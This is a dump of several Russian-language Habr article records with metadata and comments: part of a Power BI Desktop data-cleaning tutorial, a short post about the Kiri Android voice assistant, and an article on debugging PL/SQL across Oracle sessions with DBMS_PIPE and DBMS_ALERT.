src="https://habrastorage.org/r/w1560/files/6a5/124/1d0/6a51241d069b4913a2adee45075663ba.png" alt="Предварительный просмотр результатов запроса" data-src="https://habrastorage.org/files/6a5/124/1d0/6a51241d069b4913a2adee45075663ba.png"/><br/> <i>Рисунок 3. Предварительный просмотр результатов запроса</i><br/> <br/> После нажатия кнопки «Изменить» автоматически открывается окно «Редактор запросов», в котором можно и нужно выполнить очистку и подготовку данных. <br/> <br/> <img src="https://habrastorage.org/r/w1560/files/6fc/581/ec9/6fc581ec962d4c11b0b302de2df97f38.png" alt="Окно редактора запросов" data-src="https://habrastorage.org/files/6fc/581/ec9/6fc581ec962d4c11b0b302de2df97f38.png"/><br/> <i>Рисунок 4. Окно редактора запросов</i><br/> <br/> Как видно на снимке экрана, Power BI Desktop подгрузил файлы из папки и основную метаинформацию. Удалим все столбцы, кроме «Content», «Name» и «Extension». Поскольку имя файла показывает, к какому году относится соответствующий отчёт, мы его для этого и используем. <br/> Если нажать на любую строку в столбце «Content», Power BI Desktop откроет содержимое соответствующей книги. Обратите внимание, что в разделе «Параметры запроса» все выполненные шаги записываются и их можно изменять или удалять. Если же открыть окно «Расширенный редактор», то откроется окно, в котором будет виден программный код для всех выполненных действий. Да в Power BI Desktop есть свой язык программирования “M” и это очень круто.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/44f/e8a/71f/44fe8a71ffc6479eab90a6d7291e0fd0.png" alt="Расширенный редактор запросов" data-src="https://habrastorage.org/files/44f/e8a/71f/44fe8a71ffc6479eab90a6d7291e0fd0.png"/><br/> <i>Рисунок 5. Расширенный редактор запросов</i><br/> <br/> Поскольку для формирование отчета требуется содержимое всех файлов Excel в папке, а не только одного, то я удалю два последних шага и использую некоторые функции языка “M” для парсинга содержимого книг Excel из папки.<br/> Перед дальнейшей обработкой данных также нужно учесть то, что в папку могут быть подгружены не только файлы Excel. Поэтому нужно применить фильтр к столбцу «Extension», что позволит исключить ненужные типы файлов.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/f71/900/485/f7190048574d49ed82ba9d63c0c887d6.png" alt="Применение фильтра" data-src="https://habrastorage.org/files/f71/900/485/f7190048574d49ed82ba9d63c0c887d6.png"/><br/> <i>Рисунок 6. Применение фильтра</i><br/> <br/> Теперь нужно выполнить «извлечение» содержимого книг Excel. Для этого я добавлю новый столбец, используя функцию Excel.Workbook, которая позволяет «извлекать» содержимое книг Excel. Новый столбец содержит в себе значения типа «Таблица», что позволяет «развернуть» его содержимое на несколько других столбцов. При «развертывании» можно выбирать, какие столбцы будут отображены. В данном случае смысловую нагрузку несут столбцы «Data» и «Item»<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/b86/9f8/cf3/b869f8cf3c3a4b669f45856dbf6cb238.png" alt="Добавление пользовательского столбца" data-src="https://habrastorage.org/files/b86/9f8/cf3/b869f8cf3c3a4b669f45856dbf6cb238.png"/> <br/> <i>Рисунок 7. Добавление пользовательского столбца</i><br/> <br/> Столбец «Data» содержит в себе данные листов Excel, а «Name» и «Item» я в дальнейшем использую для временных отметок. <br/> Поскольку столбец «Name» содержит данные вида yyyy.xlsx, где yyyy это год отчета, то выполним простую операцию разделения данных в столбце. Разделение можно выполнять как по количеству символов, так и по разделителю. В данному случае столбец нужно делить по разделителю.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/996/a61/66a/996a6166a42d45a394e5fa691e81e980.png" alt="Разделение столбца" data-src="https://habrastorage.org/files/996/a61/66a/996a6166a42d45a394e5fa691e81e980.png"/><br/> <i>Рисунок 8. Разделение столбца</i><br/> <br/> <img src="https://habrastorage.org/r/w1560/files/32f/ddf/b4e/32fddfb4e62a4925bfab786ae55bb79e.png" alt="Окно настройки параметров разделения столбца" data-src="https://habrastorage.org/files/32f/ddf/b4e/32fddfb4e62a4925bfab786ae55bb79e.png"/><br/> <i>Рисунок 9. Окно настройки параметров разделения столбца</i><br/> <br/> После разделения столбца нужно будет его переименовать.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/32f/ddf/b4e/32fddfb4e62a4925bfab786ae55bb79e.png" alt="Окно настройки параметров разделения столбца" data-src="https://habrastorage.org/files/32f/ddf/b4e/32fddfb4e62a4925bfab786ae55bb79e.png"/><br/> <i>Рисунок 9. Окно настройки параметров разделения столбца</i><br/> <br/> <img src="https://habrastorage.org/r/w1560/files/d6e/5ce/680/d6e5ce680124424391df898627fc5b03.png" alt="Подготовленный к развертыванию запрос" data-src="https://habrastorage.org/files/d6e/5ce/680/d6e5ce680124424391df898627fc5b03.png"/><br/> <i>Рисунок 10. Подготовленный к «развертыванию» запрос</i><br/> <br/> Затем я «развертываю» столбец Data и вижу содержимое всех файлов и листов Excel, при этом в виде, который непригоден для построения итоговой отчетности. Но я могу использовать возможности Power BI Desktop для очистки данных.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/151/bf9/281/151bf9281a804d3ab09e2d27c6ff5fd7.png" alt="Запрос после развертывания содержимого файлов" data-src="https://habrastorage.org/files/151/bf9/281/151bf9281a804d3ab09e2d27c6ff5fd7.png"/><br/> <i>Рисунок 11. Запрос после «развертывания» содержимого файлов</i><br/> <br/> 1. Использую верхние строки как заголовки и затем переименую столбцы. Удалю столбцы «Фактическое отклонение» и «Отклонение в %». В дальнейшем их пересчитаем.<br/> 2. Удалю строки, которые содержат пустые значения и значение «Показатель» в столбце «Показатель», применив фильтрацию. Таким же образом удалю строки, в которых содержатся суммарные значения, например «Итого ЧОД», «Итого» и т.д. <br/> <br/> <img src="https://habrastorage.org/r/w1560/files/1fb/94a/278/1fb94a278c8f48f69bc5f27df3838cff.png" alt="Меню фильтрации данных" data-src="https://habrastorage.org/files/1fb/94a/278/1fb94a278c8f48f69bc5f27df3838cff.png"/><br/> <i>Рисунок 12. Меню фильтрации данных</i><br/> <br/> 3. Используя функцию «Замена значений» выполню замену синонимов, например «Доход» и «Доходы».<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/2bd/26b/9a7/2bd26b9a79d9486bbc6b3c81f10dbd98.png" alt="Замена значений" data-src="https://habrastorage.org/files/2bd/26b/9a7/2bd26b9a79d9486bbc6b3c81f10dbd98.png"/><br/> <i>Рисунок 13. Замена значений</i><br/> <br/> 4. Еще немного изучив содержимое столбца «Показатель» обнаруживаю, что все доходы у меня относятся к показателю «Доход» или «Доходы». Всё остальное относится к расходам, что сильно облегчает задачу. Для удобства дальнейшей обработки и фильтрации создам столбец «Категория», который будет содержать значение «Доход», если в столбце «Показатель» присутствует слово «Доход», а во всех остальных случаях примет значение «Расход».<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/37b/5c7/86d/37b5c786d42340ada719109d2f446018.png" alt="Добавление столбца Категория" data-src="https://habrastorage.org/files/37b/5c7/86d/37b5c786d42340ada719109d2f446018.png"/><br/> <i>Рисунок 14. Добавление столбца «Категория»</i><br/> <br/> 5. Дальше, мне нужно указать, что тип значений в столбцах «План» и «Факт» — десятичное число. Но перед этим мне нужно удалить из содержимого этих столбцов пробелы. <br/> 6. После выполнения операции проверяю столбцы на наличие ошибок и отрицательных значений. Поскольку в нашем случае наличие отрицательного значения означает ошибку ввода, то используя функцию преобразования значений выделяю абсолютное значение в столбцах «План» и «Факт». На этом базовая очистка данных закончена.<br/> 7. Для того, чтобы отображать показатели с привязкой по времени требуется указать дату для каждой записи. В таблице содержится месяц в текстовом виде и год. Для удобства примем, что данные отображаются на конец каждого месяца. Здесь нас подстерегает проблема – язык «М» не позволяет на текущий момент конвертировать названия месяцев в даты. Поэтому потребуется сделать несколько промежуточных шагов.<br/> 8. Создадим новый запрос, который будет содержать названия месяцев и их номера. Для этого создаем пустой запрос, открываем расширенный редактор и вставляем следующий код:<br/> <code>let<br/> Source = {"январь", "февраль", "март", "апрель", "май", "июнь", "июль", "август", "сентябрь", "октябрь", "ноябрь", "декабрь"},<br/> #"Converted to Table" = Table.FromList(Source, Splitter.SplitByNothing(), null, null, ExtraValues.Error),<br/> #"Added Index" = Table.AddIndexColumn(#"Converted to Table", "Index", 0, 1),<br/> #"Added to Column" = Table.TransformColumns(#"Added Index", {{"Index", each List.Sum({_, 1})}}),<br/> #"Renamed Columns" = Table.RenameColumns(#"Added to Column",{{"Column1", "Месяц"}})<br/> in<br/> #"Renamed Columns"<br/> </code><br/> <br/> <img src="https://habrastorage.org/r/w1560/files/775/063/35e/77506335ed5f4f79889f59e35b3b34f7.png" alt="Добавление пустого запроса" data-src="https://habrastorage.org/files/775/063/35e/77506335ed5f4f79889f59e35b3b34f7.png"/><br/> <i>Рисунок 15. Добавление пустого запроса</i><br/> <br/> 9. Перехожу в запрос «План-Факт» и объединяю запросы, выбрав нужный тип объединения.<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/4b9/222/ec2/4b9222ec284c4b719597824abd49cb6e.png" alt="Объединение запросов" data-src="https://habrastorage.org/files/4b9/222/ec2/4b9222ec284c4b719597824abd49cb6e.png"/><br/> <i>Рисунок 16. Объединение запросов</i><br/> <br/> 10. Данные из запроса «Месяцы» добавились как новый столбец. Раскрываю его и теперь у нас есть все данные для формирования даты. Создаю новый столбец с названием «Дата», используя формулу: =Date.EndOfMonth(#date([Год],[Index],1)) Столбец добавлен и он содержит последнее число каждого месяца. Для того, чтобы Power BI Desktop мог группировать даты по месяцам и годам, нужно будет явно задать тип «Date»<br/> <br/> <img src="https://habrastorage.org/r/w1560/files/5a3/0b3/839/5a30b3839ff247aca49f2a5b37f7e213.png" alt="Добавление столбца Дата" data-src="https://habrastorage.org/files/5a3/0b3/839/5a30b3839ff247aca49f2a5b37f7e213.png"/><br/> <i>Рисунок 17. Добавление столбца «Дата»</i><br/> <br/> 11. Удалим столбцы Index, Год и Месяц. Они нам больше не нужны. Затем нужно нажать на кнопку «Закрыть и загрузить», чтобы перейти к моделированию и визуализации данных.<br/> <br/> На этом базовая часть обработки данных закончена и можно перейти к визуализации. Возможности визуализации данных в Power BI Desktop рассмотрим в <a href="http://habrahabr.ru/post/264223/">следующей части</a>.</div>
Дмитрий Соловьев (dmitriysolovev)
null
null
<i>UPD: Обновил публикации в связи с выходом Power BI Desktop из стадии Preview 24 июля.</i><br/> <br/> Сегодня хочу рассказать про построение простого дашборда с план-фактным анализом доходов и расходов в <a href="https://powerbi.microsoft.com/desktop">Power BI Desktop</a> и <a href="https://powerbi.microsoft.com/">Power BI</a>. В первой части рассмотрим работу с запросами, научимся объединять данные из нескольких источников и выполнять их очистку.<br/> <br/> <b>Исходные данные:</b> несколько файлов Excel в которых хранится информация о показателях доходов и расходов компании за некоторое время. Поскольку форма отчетов и статьи учета несколько раз менялись, то листы с информацией имеют похожую, но не совсем одинаковую структуру. На выходе требуется получить нечто, что позволит руководителям получить представление о том, что происходит с финансами компании<br/> Давайте посмотрим, как Power BI Desktop позволит объединить данные и их визуализировать.<br/> <br/> <img src="https://habrastorage.org/files/74b/302/516/74b3025165dc49f9aa44a9f51b93c9ed.png" alt="Стартовое окно Power BI Desktop"/><br/> <i>Рисунок 1. Стартовое окно Power BI Desktop</i><br/> <br/>
UPD: Обновил публикации в связи с выходом Power BI Desktop из стадии Preview 24 июля. Сегодня хочу рассказать про построение простого дашборда с план-фактным анализом доходов и расходов в Power BI Desktop и Power BI. В первой части рассмотрим работу с запросами, научимся объединять данные из нескольких источников и выполнять их очистку. Исходные данные: несколько файлов Excel в которых хранится информация о показателях доходов и расходов компании за некоторое время. Поскольку форма отчетов и статьи учета несколько раз менялись, то листы с информацией имеют похожую, но не совсем одинаковую структуру. На выходе требуется получить нечто, что позволит руководителям получить представление о том, что происходит с финансами компании Давайте посмотрим, как Power BI Desktop позволит объединить данные и их визуализировать. Рисунок 1. Стартовое окно Power BI Desktop
article
1,436,952,479
{ "commentsCount": 2, "favoritesCount": 60, "readingCount": 36266, "score": 8, "votesCount": 8, "votesCountPlus": 8, "votesCountMinus": 0 }
[ "sandbox" ]
[ "data_mining", "data_visualization" ]
[ "develop" ]
[ "power bi", "power bi desktop", "office 365", "excel", "xlsx" ]
5
tutorial
null
{ "id": [ 8513619, 8526017 ], "parent_id": [ null, 8513619 ], "level": [ 0, 1 ], "time_published": [ 1437734709, 1438768286 ], "score": [ 0, 0 ], "votes": [ 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как раз сейчас бьюсь над тем что бы в графиках отражать сортировку месяцев не по алфавиту.<br/>\r\nИз доступного функционала есть сортировка с помощью другого поля (есть справочник вида Месяц->Индекс, присоединенный к основным данным), однако сослаться на индекс в графиках не получается- дает возможность при выборе поля сортировки ссылаться только на те объекты, которые принимает непосредственное участие в формировании графика. Есть какой то способ сортировать нормально? (текущая реализация через конкатенацию индекса префиксом — очень некрасивое решение...)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Добрый день! Как обещал в ЛС, отвечаю. К сожалению и в релизе ситуация с названиями месяцев, дней недели — не очень хорошая :(. Пока нашел следующие варианты:<br/>\r\n1. Использовать поле c типом «Дата» — корректно отображает месяц на графике, при условии что для всех значений каждого месяца установлена одна дата, например конец месяца. <img src=\"https://habrastorage.org/r/w1560/files/2ac/226/895/2ac226895ddc4ffa8fe90a93797937d4.png\" alt=\"image\" data-src=\"https://habrastorage.org/files/2ac/226/895/2ac226895ddc4ffa8fe90a93797937d4.png\"/><br/>\r\n2. Использовать сортировку по индексному полю. При этом определять такую сортировку нужно в модели данных. Затем индексное поле скрыть.<br/>\r\n3. Использовать таблицы дат с иерархиями. При настройке связи «Таблица данных» — «Таблица дат» значения дат в таблице данных нужно привести к типу «Дата и время». Время задать как 0:00:00, иначе связь не будет работать :( </div>" ], "message_markdown": [ "Как раз сейчас бьюсь над тем что бы в графиках отражать сортировку месяцев не по алфавиту.\nИз доступного функционала есть сортировка с помощью другого поля (есть справочник вида Месяц->Индекс, присоединенный к основным данным), однако сослаться на индекс в графиках не получается- дает возможность при выборе поля сортировки ссылаться только на те объекты, которые принимает непосредственное участие в формировании графика. Есть какой то способ сортировать нормально? (текущая реализация через конкатенацию индекса префиксом — очень некрасивое решение...)", "Добрый день! Как обещал в ЛС, отвечаю. К сожалению и в релизе ситуация с названиями месяцев, дней недели — не очень хорошая :(. Пока нашел следующие варианты:\n1\\. Использовать поле c типом «Дата» — корректно отображает месяц на графике, при условии что для всех значений каждого месяца установлена одна дата, например конец месяца.\n2\\. Использовать сортировку по индексному полю. При этом определять такую сортировку нужно в модели данных. Затем индексное поле скрыть.\n3\\. Использовать таблицы дат с иерархиями. При настройке связи «Таблица данных» — «Таблица дат» значения дат в таблице данных нужно привести к типу «Дата и время». Время задать как 0:00:00, иначе связь не будет работать :(" ], "author": [ "Генрих (Ananiev_Genrih)", "Дмитрий Соловьев (dmitriysolovev)" ], "children": [ [ 8526017 ], [] ] }
134,818
ru
https://habr.com/ru/post/134818/
Кири
Возможно, в этот воскресный вечер вас развлечет программа Кири (андроид). К сожалению все сравнивают ее с Сири, хотя они совсем разные, как по решаемым задачам, так и по методам реализации. Но я надеюсь что у Кири всё ещё впереди. Честно говоря местами она откровенно лажает (и довольно часто), но зато никогда не знаешь что от неё ожидать) Небольшое видео (простите за качество):
<div xmlns="http://www.w3.org/1999/xhtml">Возможно, в этот воскресный вечер вас развлечет программа <a href="https://market.android.com/details?id=com.ikillingtime.kiri">Кири</a> (андроид). К сожалению все сравнивают ее с Сири, хотя они совсем разные, как по решаемым задачам, так и по методам реализации. Но я надеюсь что у Кири всё ещё впереди.<br/> Честно говоря местами она откровенно лажает (и довольно часто), но зато никогда не знаешь что от неё ожидать)<br/> Небольшое видео (простите за качество):<br/> <div class="tm-iframe_temp" data-src="//www.youtube.com/embed/RHS0cCh75hE" data-style="" id="" width="560"></div></div>
recoilme (recompileme)
null
null
Возможно, в этот воскресный вечер вас развлечет программа <a href="https://market.android.com/details?id=com.ikillingtime.kiri">Кири</a> (андроид). К сожалению все сравнивают ее с Сири, хотя они совсем разные, как по решаемым задачам, так и по методам реализации. Но я надеюсь что у Кири всё ещё впереди.<br/> Честно говоря местами она откровенно лажает (и довольно часто), но зато никогда не знаешь что от неё ожидать)<br/> Небольшое видео (простите за качество):<br/> <iframe width="560" height="315" src="//www.youtube.com/embed/RHS0cCh75hE" frameborder="0" allowfullscreen></iframe>
Возможно, в этот воскресный вечер вас развлечет программа Кири (андроид). К сожалению все сравнивают ее с Сири, хотя они совсем разные, как по решаемым задачам, так и по методам реализации. Но я надеюсь что у Кири всё ещё впереди. Честно говоря местами она откровенно лажает (и довольно часто), но зато никогда не знаешь что от неё ожидать) Небольшое видео (простите за качество):
article
1,324,219,508
{ "commentsCount": 12, "favoritesCount": 4, "readingCount": 500, "score": 3, "votesCount": 31, "votesCountPlus": 17, "votesCountMinus": 14 }
[]
[ "i_am_advertising" ]
[ "marketing" ]
[ "Кири", "Kiri" ]
1
null
null
{ "id": [ 4477314, 4477322, 4477328, 4477342, 4477346, 4477357, 4477503, 4477511, 4477593, 4477862, 4477994, 4478288 ], "parent_id": [ null, null, null, 4477328, null, null, 4477357, 4477503, 4477342, 4477593, 4477357, 4477346 ], "level": [ 0, 0, 0, 1, 0, 0, 1, 2, 2, 3, 1, 1 ], "time_published": [ 1324219737, 1324219996, 1324220321, 1324220718, 1324220933, 1324221372, 1324226390, 1324226644, 1324228918, 1324238977, 1324246014, 1324275392 ], "score": [ 3, 0, 1, 0, 6, 0, 0, 0, 1, 0, 0, 1 ], "votes": [ 3, 0, 1, 2, 6, 0, 0, 0, 1, 0, 0, 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"> — В чем смысл жизни?<br/>\r\n — 42</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вчера какраз игрался с Кири.<br/>\r\nИ да, думаю, это не помешает:<br/>\r\n<img src=\"http://chart.googleapis.com/chart?chs=300x300&amp;cht=qr&amp;chl=https://market.android.com/details?id=com.ikillingtime.kiri\" alt=\"image\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>они совсем разные, как по решаемым задачам, так и по методам реализации</blockquote><br/>\r\nТак где информация об этом?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нигде. Просто Кири устроена немного иначе и всё. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Последние пару секунд видео понравились!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Существуют же уже <a href=\"http://maketecheasier.com/5-worthy-siri-alternatives-for-android-smartphones/2011/12/09\">5 альтернатив Siri</a> для Android =] Хотя тут есть русский язык.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они тоже умеют давать смешные ответы?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Этого не знаю, но, думаю, курьёзы случаются.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кири блондинка) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неее она просто глухая к сожалению.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Vlingo и для Blackberry есть. вот она точно блондинка<br/>\r\n<a href=\"http://appworld.blackberry.com/webstore/content/62816\">appworld.blackberry.com/webstore/content/62816</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это Бейсик)</div>" ], "message_markdown": [ "— В чем смысл жизни?\n— 42", "Вчера какраз игрался с Кири.\nИ да, думаю, это не помешает:", "> они совсем разные, как по решаемым задачам, так и по методам реализации\nТак где информация об этом?", "Нигде. Просто Кири устроена немного иначе и всё.", "Последние пару секунд видео понравились!", "Существуют же уже 5 альтернатив Siri для Android =] Хотя тут есть русский язык.", "Они тоже умеют давать смешные ответы?", "Этого не знаю, но, думаю, курьёзы случаются.", "Кири блондинка)", "Неее она просто глухая к сожалению.", "Vlingo и для Blackberry есть. вот она точно блондинка\nappworld.blackberry.com/webstore/content/62816", "Это Бейсик)" ], "author": [ "deniamnet (deniamnet)", "Сергей (Coderr)", "Михаил (MiXei4)", "recoilme (recompileme)", "Денис (pixxxel)", "Андрей Корякин (an2kor)", "recoilme (recompileme)", "Андрей Корякин (an2kor)", "White (MaxiS)", "Kpoxo6op (Kpoxo6op)", "Азиз (azizoid)", "recoilme (recompileme)" ], "children": [ [], [], [ 4477342 ], [ 4477593 ], [ 4478288 ], [ 4477503, 4477994 ], [ 4477511 ], [], [ 4477862 ], [], [], [] ] }
339,122
ru
https://habr.com/ru/post/339122/
Отладка PL/SQL кода для внешней сессии БД
#### Проблематика и назначение: Периодически Oracle разработчики сталкиваются с проблемой отладки PL/SQL кода, когда код вызывается из веба или среднего слоя(т.е. когда сессия разработчика не совпадает с сессией в которой возникает проблема). Особенно актуально, если какие-либо проблемы возникают на стороне Web при двухзвенных и трехзвенная схемах взаимодействия БД и Web(ниже пример трехзвенной архитектуры взаимодействия): Рисунок 1 — Трехзвенная архитектура взаимодействия БД и Web. #### Метод решения проблем: В решение проблем с отладкой PL/SQL кода нам помогут пакеты: DBMS_PIPE — Пакет который позволяет отпавлять сообщения(пайпы) между 2мя сессиями БД Oracle. DBMS_ALERT — Пакет, который обеспечивает поддержку асинхронных оповещений для различных событий БД Oracle. #### Ниже код метода, который мы будем отлаживать при помощи DBMS_PIPE и DBMS_ALERT одновременно: [code] create or replace procedure checkout_with_pipe_and_alert(p_cycle_size in number) is c_method_error constant number := -20000; c_method_error_message constant varchar2(4000) := 'Cycle size should be > 0'; l_power_value number; l_i_value number := 1; l_pipe pls_integer; begin if p_cycle_size > 0 then for i in 1 .. p_cycle_size loop l_power_value := power(i, 2); l_i_value := l_i_value * i; --Send pipe info l_pipe := dbms_pipe.create_pipe(pipename => 'pipe'); dbms_pipe.pack_message(i || '.l_power_value:=' || l_power_value || ' l_i_value=' || l_i_value); l_pipe := dbms_pipe.send_message(pipename => 'pipe'); --Send alert info dbms_alert.signal(name => 'alert', message => i || '.l_power_value:=' || l_power_value || ' l_i_value=' || l_i_value); end loop; else raise_application_error(c_method_error, c_method_error_message); end if; end checkout_with_pipe_and_alert; [/code] #### При отсутствие грантов на DBMS_PIPE и DBMS_ALERT раздадим их: Рисунок 2 — Раздача грантов c Oracle сервера схемы SYS на рабочую схему #### Отловим сообщения для DBMS_PIPE и DBMS_ALERT при помощи PL/SQL Developer: Отлавливание сообщений при помощи кода не рассматриваю, т.к. информации достаточно в Oracle DOC и на просторах интернета. Заходим в Tools→Event Monitor..., в одном окне выбираем тип события "Pipe", а в другом "Alert" в Event name указываем название пайпы и алерта, которые задали в коде и нажимаем Start: Рисунок 3 — Настройка окна с Pipe Рисунок 4 — Настройка окна с Alert #### После запуска метода checkout_with_pipe_and_alert из веба/среднего слоя(в нашем случае из другой сессии): [code] begin checkout_with_pipe_and_alert(5); end; [/code] #### В окнах Pipe и Alert получим следующие результаты: Рисунок 5 — Результат получения информации от Pipe Рисунок 6 — Результат получения информации от Alert Выводы: dbms_pipe отличный метод, для отладки pl/sql в разных сессиях, только pipe периодически забивается и приходится использовать метод: dbms_pipe.purge dbms_alert я бы не советовал использовать, т.к. периодически теряются сообщения при отладке(как видно из рисунка 6), быть может не правильно его использую. Если кто-то с таким сталкивался, напишите в комментариях и я поправлю статью.
<div xmlns="http://www.w3.org/1999/xhtml"><h4>Проблематика и назначение:</h4><br/> Периодически Oracle разработчики сталкиваются с проблемой отладки PL/SQL кода, когда код вызывается из веба или среднего слоя(т.е. когда сессия разработчика не совпадает с сессией в которой возникает проблема).<br/> <br/> Особенно актуально, если какие-либо проблемы возникают на стороне Web при двухзвенных и трехзвенная схемах взаимодействия БД и Web(ниже пример трехзвенной архитектуры взаимодействия):<br/> <img src="https://habrastorage.org/r/w780q1/webt/59/d1/f3/59d1f342ca3e3889075977.jpeg" data-src="https://habrastorage.org/webt/59/d1/f3/59d1f342ca3e3889075977.jpeg" data-blurred="true"/><br/> <b>Рисунок 1 — Трехзвенная архитектура взаимодействия БД и Web.</b><br/> <br/> <h4>Метод решения проблем:</h4><br/> В решение проблем с отладкой PL/SQL кода нам помогут пакеты:<br/> <ul> <li>DBMS_PIPE — Пакет который позволяет отпавлять сообщения(пайпы) между 2мя сессиями БД Oracle.</li> <li>DBMS_ALERT — Пакет, который обеспечивает поддержку асинхронных оповещений для различных событий БД Oracle.</li> </ul><br/> <a name="habracut"></a><br/> <h4>Ниже код метода, который мы будем отлаживать при помощи DBMS_PIPE и DBMS_ALERT одновременно:</h4><br/> <pre><code class="sql">create or replace procedure checkout_with_pipe_and_alert(p_cycle_size in number) is c_method_error constant number := -20000; c_method_error_message constant varchar2(4000) := 'Cycle size should be > 0'; l_power_value number; l_i_value number := 1; l_pipe pls_integer; begin if p_cycle_size > 0 then for i in 1 .. p_cycle_size loop l_power_value := power(i, 2); l_i_value := l_i_value * i; --Send pipe info l_pipe := dbms_pipe.create_pipe(pipename => 'pipe'); dbms_pipe.pack_message(i || '.l_power_value:=' || l_power_value || ' l_i_value=' || l_i_value); l_pipe := dbms_pipe.send_message(pipename => 'pipe'); --Send alert info dbms_alert.signal(name => 'alert', message => i || '.l_power_value:=' || l_power_value || ' l_i_value=' || l_i_value); end loop; else raise_application_error(c_method_error, c_method_error_message); end if; end checkout_with_pipe_and_alert;</code></pre><br/> <br/> <h4>При отсутствие грантов на DBMS_PIPE и DBMS_ALERT раздадим их:</h4><br/> <img src="https://habrastorage.org/r/w780q1/webt/59/d1/f4/59d1f47f6ffa5346410087.jpeg" data-src="https://habrastorage.org/webt/59/d1/f4/59d1f47f6ffa5346410087.jpeg" data-blurred="true"/><br/> <b>Рисунок 2 — Раздача грантов c Oracle сервера схемы SYS на рабочую схему</b><br/> <br/> <h4>Отловим сообщения для DBMS_PIPE и DBMS_ALERT при помощи PL/SQL Developer:</h4><br/> Отлавливание сообщений при помощи кода не рассматриваю, т.к. информации достаточно в Oracle DOC и на просторах интернета.<br/> Заходим в <b>Tools→Event Monitor...</b>, в одном окне выбираем тип события "<b>Pipe</b>", а в другом "<b>Alert</b>" в Event name указываем название пайпы и алерта, которые задали в коде и нажимаем <b>Start</b>:<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/59/d1/f6/59d1f653711c9295976484.jpeg" data-src="https://habrastorage.org/webt/59/d1/f6/59d1f653711c9295976484.jpeg" data-blurred="true"/><br/> <b>Рисунок 3 — Настройка окна с Pipe</b><br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/59/d1/f6/59d1f691bab08026755789.jpeg" data-src="https://habrastorage.org/webt/59/d1/f6/59d1f691bab08026755789.jpeg" data-blurred="true"/><br/> <b>Рисунок 4 — Настройка окна с Alert</b><br/> <br/> <h4>После запуска метода checkout_with_pipe_and_alert из веба/среднего слоя(в нашем случае из другой сессии):</h4><br/> <pre><code class="sql">begin checkout_with_pipe_and_alert(5); end;</code></pre><br/> <br/> <h4>В окнах Pipe и Alert получим следующие результаты:</h4><br/> <img src="https://habrastorage.org/r/w780q1/webt/59/d1/f9/59d1f965ac58a203319135.jpeg" data-src="https://habrastorage.org/webt/59/d1/f9/59d1f965ac58a203319135.jpeg" data-blurred="true"/><br/> <b>Рисунок 5 — Результат получения информации от Pipe</b><br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/59/d1/f8/59d1f85e54047011545277.jpeg" data-src="https://habrastorage.org/webt/59/d1/f8/59d1f85e54047011545277.jpeg" data-blurred="true"/><br/> <b>Рисунок 6 — Результат получения информации от Alert</b><br/> <br/> <b>Выводы:</b><br/> <ul> <li>dbms_pipe отличный метод, для отладки pl/sql в разных сессиях, только pipe периодически забивается и приходится использовать метод: dbms_pipe.purge</li> <li>dbms_alert я бы не советовал использовать, т.к. периодически теряются сообщения при отладке(как видно из рисунка 6), быть может не правильно его использую. Если кто-то с таким сталкивался, напишите в комментариях и я поправлю статью.</li> </ul></div>
Юрий Пухов (ympukhov)
null
null
<h4>Проблематика и назначение:</h4><br> Периодически Oracle разработчики сталкиваются с проблемой отладки PL/SQL кода, когда код вызывается из веба или среднего слоя(т.е. когда сессия разработчика не совпадает с сессией в которой возникает проблема).<br> <br> Особенно актуально, если какие-либо проблемы возникают на стороне Web при двухзвенных и трехзвенная схемах взаимодействия БД и Web(ниже пример трехзвенной архитектуры взаимодействия):<br> <img src="https://habrastorage.org/webt/59/d1/f3/59d1f342ca3e3889075977.jpeg"><br> <b>Рисунок 1 — Трехзвенная архитектура взаимодействия БД и Web.</b><br> <br> <h4>Метод решения проблем:</h4><br> В решение проблем с отладкой PL/SQL кода нам помогут пакеты:<br> <ul> <li>DBMS_PIPE — Пакет который позволяет отпавлять сообщения(пайпы) между 2мя сессиями БД Oracle.</li> <li>DBMS_ALERT — Пакет, который обеспечивает поддержку асинхронных оповещений для различных событий БД Oracle.</li> </ul><br>
#### Проблематика и назначение: Периодически Oracle разработчики сталкиваются с проблемой отладки PL/SQL кода, когда код вызывается из веба или среднего слоя(т.е. когда сессия разработчика не совпадает с сессией в которой возникает проблема). Особенно актуально, если какие-либо проблемы возникают на стороне Web при двухзвенных и трехзвенная схемах взаимодействия БД и Web(ниже пример трехзвенной архитектуры взаимодействия): Рисунок 1 — Трехзвенная архитектура взаимодействия БД и Web. #### Метод решения проблем: В решение проблем с отладкой PL/SQL кода нам помогут пакеты: DBMS_PIPE — Пакет который позволяет отпавлять сообщения(пайпы) между 2мя сессиями БД Oracle. DBMS_ALERT — Пакет, который обеспечивает поддержку асинхронных оповещений для различных событий БД Oracle.
article
1,506,933,167
{ "commentsCount": 14, "favoritesCount": 29, "readingCount": 12122, "score": 5, "votesCount": 5, "votesCountPlus": 5, "votesCountMinus": 0 }
[]
[ "oracle", "debug" ]
[ "develop" ]
[ "pl/sql developer", "oracle pl/sql", "отладка" ]
2
null
null
